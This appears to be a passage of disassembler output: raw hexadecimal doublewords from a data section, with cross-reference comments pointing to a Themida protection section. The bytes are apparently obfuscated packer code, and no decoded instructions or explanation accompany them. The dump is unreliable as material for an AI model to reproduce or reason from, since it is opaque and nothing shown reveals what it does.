		dd 0EFB7D9A3h, 7864D857h, 0E960FD04h, 0Bh, 5D2238E3h, 6661E140h
		dd 0B921112h, 0E901D595h, 33616105h, 0B1DE80C2h, 0BA044189h
		dd 159F7DF5h, 5EDBD83h,	0F0005E9h, 6084h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 9E974CEh, 0F8000000h, 3DB2C0D6h, 0C76369E3h,	6820Fh
		dd 95890000h, 5E90505h,	0B9595FFh, 6A05E9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0BE8F8BC3h
		dd 0F68042B6h, 31BD8302h, 105E912h, 67850Fh, 8E0F0000h
		dd 15h,	10E9h, 50503700h, 0C4689A53h, 2AB86936h, 0E652F57Ah
		dd 47E933h, 81660000h, 8B8C6CDAh, 0E95F98B5h, 6C705h, 8B000000h
		dd 0E95D2BB5h, 6C705h, 0CF000000h, 6CB440BBh, 50006A2Eh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 60AB1049h, 0D487B866h, 7DBD8361h, 5E912h, 17C840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 3DBA35C3h, 603E01BDh, 65C18166h, 4820FB6h
		dd 66000000h, 61536EB9h, 2531BD83h, 0F0105E9h, 10C85h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0D39F0C07h, 6678A008h, 1717C381h, 4DDC8D8Bh
		dd 296005E9h, 0E91E118Dh, 43E78105h, 614D377Fh
		dd 6A0001C6h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0FBC4C351h, 0BA7DF380h, 406E9C08h
		dd 0DA8B6660h, 0A1653068h, 1379BB1Ch, 34815746h, 0A165B024h
		dd 14E81Ch, 0ADFE0000h,	41C2D223h, 182DEF8Dh, 25E9C30h
		dd 9E20A020h, 8D89E815h, 5E92BA5h, 37BE605Ah, 615D4F00h
		dd 958BFF6Ah, 5E90059h,	267595FFh, 6A05E9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 8D2922C3h
		dd 5E9191Dh, 19B1BA61h,	95FF76EFh, 5E932B1h, 62F38166h
		dd 0D6BB6610h, 0DC8D8BC6h, 6A05E94Dh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 6E89C357h
		dd 8B6601FEh, 95BD83DEh, 105E931h, 24850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 1AD098C3h, 0F2816618h, 0C08B4F0Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 92C35545h, 0C91A03E1h, 0BA554051h
		dd 27591634h, 0A25CBB66h, 164DBD83h, 750005E9h,	21BD8309h
		dd 5E911h, 53501A74h, 858BC08Bh, 5E923B9h, 23B98589h, 9D8D05E9h
		dd 5EBB8C4h, 585BD3FFh,	1121BD83h, 740005E9h, 8B535018h
		dd 0E923B985h, 0B9858905h, 8D05E923h, 0EBB5B39Dh, 5BD3FF05h
		dd 29858958h, 0F05E918h, 0C08BD8BFh, 30459509h,	0B58905E9h
		dd 5E9108Dh, 127DBD83h,	0F0005E9h, 2985h, 59858900h, 8305E92Bh
		dd 0E92569BDh, 840F0005h, 16h, 0EE8h, 0D91E5A00h, 8E0542A4h
		dd 11551EFEh, 8A69AC13h, 0BD835BD0h, 5E9127Dh, 16840F00h
		dd 89000000h, 0E905D1B5h, 69BD8305h, 5E92Bh, 3840Fh, 0BF0F0000h
		dd 7DBD83DEh, 5E912h, 21840Fh, 840F0000h, 5, 90ED59BAh
		dd 6D958977h, 8305E91Eh, 0E92B69BDh, 840F0005h,	3
dword_544450	dd 83D6B70Fh, 0E9127DBDh, 840F0005h, 32h, 3175958Bh, 0BD8305E9h
					; DATA XREF: ___:off_43CCF4o
		dd 5E90DD9h, 1F840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0EB5EC350h
		dd 0BD836D97h, 5E9127Dh, 27840F00h, 89000000h, 0E92301B5h
		dd 0A1BD8305h, 5E906h, 14840Fh,	95010000h, 5E90265h, 1CB995FFh
		dd 9D8B05E9h, 5E90B01h,	0C08BDE8Bh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0BDC35040h,	4E2349CFh, 4FB50155h
		dd 0DE9h, 0F820EA00h, 2A027882h, 0A8BE291Ch, 0BD831F23h
		dd 5E9164Dh, 83097500h,	0E91121BDh, 1A740005h, 0C08B5350h
		dd 5AD858Bh, 858905E9h,	5E905ADh, 0B92B9D8Dh, 0D3FF05EBh
		dd 0BD83585Bh, 5E91121h, 50187400h, 0AD858B53h,	8905E905h
		dd 0E905AD85h, 0CC9D8D05h, 0FF05EBB5h, 6A585BD3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 4453C356h, 0DE801h, 5710000h, 0F83FEEFBh, 4B3878Bh
		dd 80C867CEh, 6A5A20F6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 160AC353h, 8F3DE6F4h
		dd 999D0B30h, 8B05E925h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 662632A1h, 83C3CFBBh
		dd 0E9127DBDh, 840F0005h, 4DFh,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 46C35040h, 3462C8BBh, 0B310A1E8h
		dd 0EE9h, 0F568E100h, 0F2AC26B8h, 58317D19h, 8196F0BFh
		dd 923B6EEBh, 1BD8360h,	205E92Ch, 1F840Fh, 0DA8B0000h
		dd 31BD83F9h, 105E912h,	0F850Fh, 0AE90000h, 4F000000h
		dd 0F4A6F213h, 0D0CE97F6h, 0EDBD8330h, 5E92Ah, 0EC840Fh
		dd 85010000h, 5E91DD5h,	10959D03h, 6A6005E9h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 2E2AC350h, 94D780B2h, 4DDC8D8Bh, 0BD0105E9h,	5E92F35h
		dd 816601FEh, 0E8FE76F2h, 4, 80h, 8800BA66h, 66525050h
		dd 310FD68Bh, 585A56B7h, 424448Bh, 8294BA66h, 6652008Bh
		dd 5B4E32BAh, 4244489h,	6A58D18Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0CF58C351h
		dd 0FF6A413Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	65C35747h, 8589651Fh, 5E9224Dh,	267595FFh, 958B05E9h
		dd 5E928D9h, 51006A61h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 7CEF1687h, 10D2805Bh, 4F19D8Bh, 0F6005E9h
		dd 8D8BD2B7h, 5E94DDCh,	0F1B7D281h, 1FE4C2Dh, 6893EF80h
		dd 0CF3BB2E2h, 0E7B25352h, 4815A5Ah, 0C44D9E24h, 52006A30h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 74DC3586h, 958B30D5h, 5E92D41h, 9D2BFF6Ah, 5E92831h
		dd 267595FFh, 9D8B05E9h, 5E90915h, 0CE8h, 0F0C5EA00h, 157A4A7Ch
		dd 3BAA72ECh, 0B589502Fh, 5E92F59h, 0E8615A5Bh,	6, 6146023Ch
		dd 160F59Dh, 0E92A1995h, 7E905h, 0E5500000h, 0D4D2F5FAh
		dd 8D5B615Eh, 0E925D1BDh, 2890F05h, 0B3000000h,	1C4F8BB0h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BC35242h
		dd 0ED4122B4h, 0DF8B03D4h, 12E9h, 2E3CCD00h, 0EDFDEB2Ch
		dd 0E1831778h, 0B5723902h, 6A54F972h, 0E4E28101h, 5020942Ah
		dd 28D0F60h, 8B000000h,	0AE8D1h, 5CB90000h, 0E89CDAEEh
		dd 4BE969B9h, 615F6160h, 60240C89h, 0FC18B66h, 38Eh, 0F08B6600h
		dd 70858D61h, 905EC44h,	0E901F1BDh, 6AD0FF05h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 6B7CC353h, 2839789Fh, 27899589h, 4F8B05E9h, 0F2816620h
		dd 36A87E7h, 0CDB589h, 8A5005E9h, 240C89FEh, 0B9EA8166h
		dd 70858DA0h, 8105EC44h, 912655F2h, 6AD0FF2Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 81E6C356h, 803E2AC3h, 31958B08h, 8D05E91Fh, 0E925D1BDh
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 725DB46Ch, 0C36345D1h, 0FEBAA2AAh, 5216A696h
		dd 1D119529h, 8B5B05E9h, 8B661C4Fh, 0AD9589DAh,	6A05E92Bh
		dd 0AE901h, 0A0760000h,	8CE38AA6h, 0A10396A5h, 0D68B6650h
		dd 31240C89h, 0E92865BDh, 70858D05h, 0FF05EC44h, 68A0FD0h
		dd 81000000h, 0E05910DBh, 204F8B49h, 890F036Ah,	14h, 8E8h
		dd 6F84B800h, 0CC5B254Dh, 719D29C4h, 5A05E92Bh,	0BE9h
		dd 0CCFFDC00h, 333A91A8h, 7C64CCFBh, 7FBA6691h,	66575011h
		dd 915AD38Bh, 8DD68B66h, 0EC447085h, 0D0FFF805h, 10FCB8BAh
		dd 0A1958B09h, 8B05E90Eh, 0E94DDC8Dh, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 0B997D716h, 0BC5C72Eh, 1FE6EADh, 1870Fh, 8BFC0000h
		dd 0E94DDC85h, 958B5605h, 5E91D3Dh, 6A00FE5Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0F2EDC353h, 0DB9B03F0h, 0BB66739Bh, 16ADEC8h, 38A0Fh
		dd 8B660000h, 4E8DFh, 9FFF0000h, 5250FFFFh, 6E8h, 2894ED00h
		dd 50D729D7h, 5A310F52h, 310F5A58h, 0B3965CBAh,	50585A4Ah
		dd 0A0BB6653h, 448B5A6Ch, 5E90424h, 87000000h, 14A9D3EEh
		dd 4489008Bh, 0CE80424h, 0E9000000h, 0B0593499h, 53AC1D99h
		dd 5B6FB4F6h, 11E858h, 0A9310000h, 708B33CAh, 1DFFB350h
		dd 7AC146E2h, 0BBAF80DAh, 286592B2h, 7A858D5Bh,	6605EC44h
		dd 3055F281h, 3820Fh, 0B70F0000h, 52D0FFD2h, 0C8D0Fh, 7E90000h
		dd 0FC000000h, 0E22BF8DFh, 835BB794h, 0E92569BDh, 840F0005h
		dd 0E6h, 0FE9h,	0DB9D5700h, 94751F35h, 343E0AB0h, 6B3E2B84h
		dd 1BDBD83h, 0F0105E9h,	0C585h,	0E2816600h, 8D8D545Ah
		dd 5EC4484h, 6AD98B66h,	6DB58903h, 6A05E92Bh, 51006A01h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 8BBA58C6h, 0FD1FFDFh, 16ADEBFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 11C35545h, 9D895E9Ah, 5E90D71h
		dd 6A016Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 4F2CF2C3h, 958B52B0h, 5E91CADh, 81DA815Ah
		dd 0FF41F808h, 5BDBE8D1h, 6AFA72h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 1BA175C3h, 4AA3EFE3h
		dd 0D88BBF27h, 2809BD89h, 206A05E9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0FEC35747h,	807E3B7Bh, 0FF6AEEF3h
		dd 31E1BD01h, 95FF05E9h, 5E92675h, 119D8Bh, 0B805E9h, 66000000h
		dd 121CDA81h, 840FC00Bh, 32h, 88C0Fh, 89520000h, 0E92A89B5h
		dd 0BD835A05h, 5E90AA1h, 17840F00h, 0F000000h, 95FFDABFh
		dd 5E90B1Dh, 88A0Fh, 870F0000h,	2, 858B6160h, 5E93055h
		dd 746CBA66h, 0E90000C6h, 0Dh, 8B917B3Ch, 1FBFCD4Eh, 5BB1BF1Fh
		dd 3AF680F8h, 19858958h, 6605E908h
		dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 1207C2C3h, 75E4E908h, 13E9DA4Bh, 0A5000000h
		dd 0BD7DED20h, 3C0D9F26h, 0BAA0FAEEh, 0F8E0B00Ah, 0C1F65FC2h
		dd 7F840F04h, 89000000h, 0E90E7DBDh, 74E905h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 6C7A8BC3h, 8B350F7Fh, 0E91D19B5h, 0DE905h, 7C260000h
		dd 5C64ACA0h, 0DFB9962Bh, 81BE4C9Fh, 1180C6h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0DFAF9E9Ah, 0C57325F5h, 8B6635EFh, 4DD5BADAh, 6C709B4h
		dd 0
		dd 8B5ED68Bh, 0E90B219Dh, 0F88305h, 0BBF840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0AF12CCC3h, 15E8AA3h, 0E931A9B5h, 1F88305h, 18D850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0A2CCB9C3h, 0E71D2278h, 219D8BDEh, 0B805E92Eh
		dd 0
		dd 33199D8Bh, 958905E9h, 5E9102Dh, 840FC00Bh, 0C5h, 32B1D281h
		dd 0F8833B34h, 0E8840F01h, 0B7000000h, 0AC8BB79h, 0F8835B40h
		dd 6D840F03h, 0E9000000h, 9, 0C6054A49h, 30697E11h, 0B8C7h
		dd 98B30000h, 7974BD8Dh, 6A005Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0F67ACC3h, 281h, 0FF5BB700h
		dd 53006AE7h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 4D94F02Dh, 0D99958Bh, 958B05E9h,	5E924DDh
		dd 1B8h, 0C9DB8000h, 7974BD8Dh,	6A005Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FCAEE8C3h
		dd 19CD9D09h, 0E7FF05E9h, 0F5C260BBh, 68BD8D6Ah, 6A05E944h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 2C83C357h, 0BF4346Eh, 0E926B195h,	281E905h
		dd 0C7F90000h, 0E94E3785h, 505h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0FE97DCAh
		dd 0CA000000h, 5087D206h, 43440580h, 0A700564h,	8D8962FEh
		dd 5E90915h, 5B8h, 0D9B70F00h, 91FE9h, 0B1952900h, 8305E90Dh
		dd 850F02F8h, 0F2h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 50C35545h, 0B8F78Ah, 0F000000h, 38Ah
		dd 0D98B6600h, 840FC00Bh, 9Ah, 31098589h, 0F88305E9h, 60840F01h
		dd 0E8FFFFFFh, 5, 0C1860D99h, 835BF5BAh, 840F03F8h
		db 0E0h, 0FEh
word_544F42	dw 0FFFFh		; DATA XREF: ___:off_435718o
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 2BC35040h
		dd 1AE22958h, 0C02B73D2h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0D5C35242h, 0D8DD1330h, 7974BD8Dh, 0D68B005Bh
		dd 6AE7FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0DDCBC3h,	2BC1F979h, 154DBA05h, 0BD8D79B1h
		dd 5E94660h, 0FF93BB50h, 0E95B1D49h, 143h, 2F7D9D89h, 820F05E9h
		dd 6, 56D08B60h, 0F8836159h, 4D850F03h,	8B000000h, 0E9258195h
		dd 0F4BD8D05h, 8905E947h, 0E90215BDh, 111E905h,	6A0000h
		dd 3E856h
dword_545004	dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
					; DATA XREF: Themida_:005545C6o
		dd 0F8563FC3h, 12E95Ah,	72370000h, 5CDB7EF3h, 0BF401B70h
		dd 800A2AA8h, 1455F37Fh, 0F05F883h, 1185h, 84DF8000h, 0E916CA80h
		dd 7B4h, 10559529h, 0F88305E9h,	57850F06h, 89000000h, 0E92B5DB5h
		dd 0ECBD8D05h, 6605E949h, 0A4E9DA8Bh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 4EA4C356h, 0E43BA990h, 0BB662D6Fh, 0EE883A3h, 0C6000000h
		dd 0F2D1492Dh, 9E04834Ch, 0AE9DD091h, 0CB815052h, 7EFA1058h
		dd 0F8835B5Bh, 24850F07h, 8B000000h, 0E9177D9Dh, 0A5958905h
		dd 8D05E900h, 0E913D9BDh, 81666005h, 61FE1AC9h,	0B7E9h
		dd 0C9958B00h, 8305E917h, 850F0AF8h, 2Bh, 0ACB1B5BAh, 0E4BD8D00h
		dd 0E805E94Bh, 0Ah, 0D19AD28Bh,	0FEACD2BDh, 0D18BAAACh
		dd 7CB805Ah, 6E9h, 299D8B00h, 5705E907h, 655950Bh, 94B905E9h
		dd 801CAB46h, 3F83DDF3h, 43840F00h, 0E9000000h,	0Ah, 5428CBD4h
		dd 0DD2FA3C2h, 0F30759Ch, 32A5952Bh, 0C9D105E9h, 0F3816647h
		dd 0D3E9964Ch, 6AFFFFFFh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0C885C357h,	6A5F471Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 1AC8C357h, 31C79AA0h, 4DE0BD89h, 958B05E9h
		dd 5E930E5h, 11758D8Dh,	8B6605E9h, 61B5FFD7h, 0B205E917h
		dd 97858DD4h, 5005EBAAh, 5529BD8Dh, 8D8D05E9h, 5E96FF6h
		dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 0E96F9DB5h
		dd 0E8D8D05h, 2B05E970h, 33A4F3CFh, 0B8C9h, 0C00B0000h
		dd 0BD834674h, 5E90AA1h, 0FF067400h, 0E90B1D95h, 0E0B58B05h
		dd 8D05E94Dh, 0EBAA9785h, 8DD0FF05h, 0E9424685h, 0C7D0FF05h
		dd 0E9035D85h, 105h, 31A58B00h,	8B05E92Ah, 0E90281B5h
		dd 91AD8B05h, 3305E912h, 0CC2C0h, 4396CA81h, 0C68066B8h
		dd 0A9BD8365h, 5E910h, 58840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 3D4EDC3h
		dd 0FAB009Fh, 1980h, 14E900h, 0E6E60000h, 8ABBF8CFh, 0B4037BE6h
		dd 71AE3ADAh, 2114CEB3h, 8D8911BAh, 5E90AE9h, 2ACD9D2Bh
		dd 95FF05E9h, 5E90CC1h,	32159D8Bh, 0BD8305E9h, 5E93095h
		dd 0E1850F00h, 8B000001h, 0BD83F5DFh, 5E901BDh,	0D1850F01h
		dd 0E9000001h, 0Fh, 6EE57C01h, 0A1DB29D3h, 0AD9D4901h
		dd 830BA900h, 0E9066DBDh, 840F0005h, 1B0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 50C35545h, 886AC965h
		dd 4E33BD83h, 0F0005E9h, 18384h, 0DA816600h, 858DD38Bh
		dd 5EBAA97h, 0F29958Bh,	0B58B05E9h, 5E94DE0h, 0B219589h
		dd 0D0FF05E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0A0C35141h, 0D4781477h,	0C60D516Ch, 0E90EE585h
		dd 80605405h
dword_545350	dd 8C0F33C8h, 0		; DATA XREF: ___:off_43CCB4o
		dd 4E861h, 0BEF40000h, 830FFF4Eh, 4, 2F7BBA66h,	0EE950h
		dd 85F80000h, 2B3F97FDh, 223265ABh, 0A4B08EDFh,	424448Bh
		dd 0EE8008Bh, 0B000000h, 14E851A1h, 176FEE2Bh, 9FE96530h
		dd 5A82B3D6h, 4244489h,	6E860h,	12190000h, 0D667FCFAh
		dd 0E50BE8B9h, 0DA8B5F67h, 6A5861h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 45C2EEC3h
		dd 0B5FFE396h, 5E92345h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 66C35040h, 95DC24C4h,	8D22188Fh, 0E939CF85h
		dd 9E905h, 0D5AF0000h, 0DAEE5CB9h, 0FFB9E89Ch, 6FD380D0h
		dd 9D8B006Ah, 5E90639h,	0AFF40CBAh, 81FF6A43h, 90486DC2h
		dd 0E8D0FF48h, 0Ch, 3AC00ECDh, 5044F47Ch, 992BC527h, 236D8589h
		dd 0FF5B05E9h, 0E9316DB5h, 0DA8B5305h, 1995315Ah, 0FF05E909h
		dd 0E9176195h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 1606B1Ah, 0E93099BDh
		dd 85BD2905h, 6105E916h, 4DE0B58Bh, 9D8B05E9h, 5E92AD5h
		dd 6800FC3h, 89000000h,	0E927758Dh, 55B58B05h, 0E905E930h
		dd 6, 3967F5B1h, 0F60B64ADh, 15840Fh, 9D8B0000h, 5E923C9h
		dd 0F0006C6h, 68Ah, 65958B00h, 8905E92Fh, 0E94DE885h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0ACEDE973h, 0B70FA483h, 0F883D9h, 3E3840Fh, 958B0000h
		dd 5E92EE5h, 0B8h, 0F606000h, 0E9B4F1BFh, 5AF95161h, 0F88361h
		dd 0C6840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 968648C3h, 0D4AB2CEEh, 81669131h
		dd 830573F3h, 850F02F8h, 87h, 8D83CA80h, 0E9446385h, 0BF0F6005h
		dd 99958BF0h, 6105E925h, 9292Dh, 5E900h, 0ACDF0000h, 90E29F95h
		dd 310F5250h, 585AD98Bh, 9077B350h, 13E8h, 0D2B0900h, 29596F10h
		dd 0B3192051h, 0B6ECD9D6h, 5007F0h, 23759589h, 0C35B05E9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1AC35343h
		dd 82D79BAFh, 0F44E66Dh, 0E84h,	858B6000h, 5E92D31h, 2BB58D89h
		dd 0B86105E9h, 0
		dd 0FEE9D08Bh, 0FC000002h, 1B8h, 29F96000h, 0E906A58Dh
		dd 0BD8D6105h, 5E94468h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 82C35545h, 255AF681h,	8B190822h, 0E918619Dh
		dd 71BD8905h, 0E905E917h, 11Fh,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0ADC35343h,	36AEF9BCh, 0D38166A3h
		dd 0F883454Bh, 7D850F02h, 0E9000000h, 5, 2E00FC6Dh, 958B5328h
		dd 5E91641h, 60BD8D5Ah,	6A05E946h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0CF3FC357h
		dd 2182C3BBh, 413ACF58h, 0E15B589h, 0A8E905E9h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 3301C352h, 0E543D388h, 8589528Bh,	5E904B5h
		dd 6880Fh, 0C3810000h, 23CD52F9h, 0F03F883h, 4685h, 12C2BB00h
		dd 0BB666030h, 0BD8DC93Dh, 5E947F4h, 0E98DC780h, 53h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EC35343h, 0C99D89D4h
		dd 8905E90Bh, 0E903A9BDh, 0C1BD8905h, 8305E932h, 850F05F8h
		dd 1Bh,	2FD59D33h, 810F05E9h, 6, 1DFD8589h, 0B1E905E9h
		dd 66000000h, 579A9ABAh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 6AC35242h, 5ED03CCFh,	0DED9D8Bh, 94B905E9h
		dd 2B1CAB46h, 0E9303D9Dh, 3F8305h, 72840Fh, 0E3810000h
		dd 4483EE16h, 810F0F30h, 0Fh, 8E956h, 989A0000h, 7637A179h
		dd 0D15B43B2h, 57006AC9h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 7DB32EADh, 6A4766D3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0D47CC353h, 9DB58950h, 8B05E912h,	0FF8BE9D7h
		dd 0C381FFFFh, 58A905B0h, 0F05F883h, 0E085h, 58B0F00h
		dd 0BA000000h, 78B2B9EBh, 6AD98C66h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 402BC356h
		dd 2EDE80AFh, 0F04C1F6h, 7785h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 940550F2h
		dd 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0C2B3C5FFh, 36615198h, 175D958Bh
		dd 56E905E9h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 1A50C355h, 9D8BF998h
		dd 5E91981h, 1D89858Bh,	0BA6605E9h, 0E0FFC826h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A2C35646h, 958B571Fh
		dd 5E92545h, 61BD835Bh,	5E917h,	0B8850Fh, 0F2810000h, 67498C81h
		dd 17BB6650h, 24048959h, 0D6BF0F51h, 0E585C65Bh, 4505E90Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E1C35040h
		dd 28B0Fh, 0E5B30000h, 0F8ACEC68h, 11E988h, 5C060000h
		dd 38CB444Dh, 0F0C21B7Ah, 7D309FB3h, 81E18B82h,	0C5852434h
		dd 9589068Ah, 5E92B25h,	2345B5FFh, 0E5B705E9h, 39CF858Dh
		dd 6A05E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0FF0CE7C3h, 5E8BCh, 84FD0000h, 8B14A692h
		dd 0D0FF5AD1h, 8589D18Ah, 5E91761h, 890F58F9h, 6, 1FD9D8Bh
		dd 0BD8305E9h, 5E94E37h, 22840F00h, 0FC000000h,	2769958Bh
		dd 0B5FF05E9h, 5E9316Dh, 6195FFF5h, 0E905E917h,	9, 0E2377D6Fh
		dd 38AD8528h, 0F8837Ch,	121850Fh, 0EE80000h, 98000000h
		dd 623A265Eh, 5F17B47Eh, 5DC8CC9Fh, 659D8BBEh, 5A05E91Fh
		dd 2681BD83h, 0F0005E9h, 7084h,	0E3816600h, 0B5FF55E1h
		dd 5E92681h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0A6C35040h, 57A1198Eh, 50F8EEAAh, 0F005C381h, 958B30E0h
		dd 5E91621h, 1B8h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 24B5D41Fh, 69958B2Fh
		dd 0E905E900h, 282h, 0E3F38166h, 6DB5FFE4h, 6605E931h
		dd 7C99D381h, 316DB5FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 4A25B2C3h, 0ECC27F09h
		dd 9D8B8171h, 5E93185h,	1761B5FFh, 6A05E9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 411CC2C3h
		dd 89952927h, 0E905E924h, 212h,	233D8D09h, 14E905E9h, 95000000h
		dd 316951D0h, 659FCEECh, 0CB82BFEh, 0D1840DEh, 5F2B530Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0F7C35040h
		dd 7DA71181h, 0FE8B13Fh, 85000000h, 0D66222C7h,	8E99B38Ah
		dd 0E7900C0Ah, 0DAB6F7DBh, 0A5BD835Bh, 5E91Dh, 0B6850Fh
		dd 0DA8B0000h, 0EE585C6h, 0F4D05E9h, 68Dh, 0E5B52900h
		dd 6805E91Eh, 33EF27C9h, 0FE9h,	0A9C33800h, 7C3F52A4h
		dd 9FBB0B8Bh, 30526748h, 0DF240481h, 6A70464Eh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0FFB5C356h, 1F1D9D23h, 79BA05E9h, 0FF6CB59Bh, 0E90039B5h
		dd 85958B05h, 0F05E932h, 280h, 8DF38A00h, 0E939CF85h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0FD0FF2Fh, 138Ah, 7E800h, 0DA640000h, 480086CAh, 59589FEh
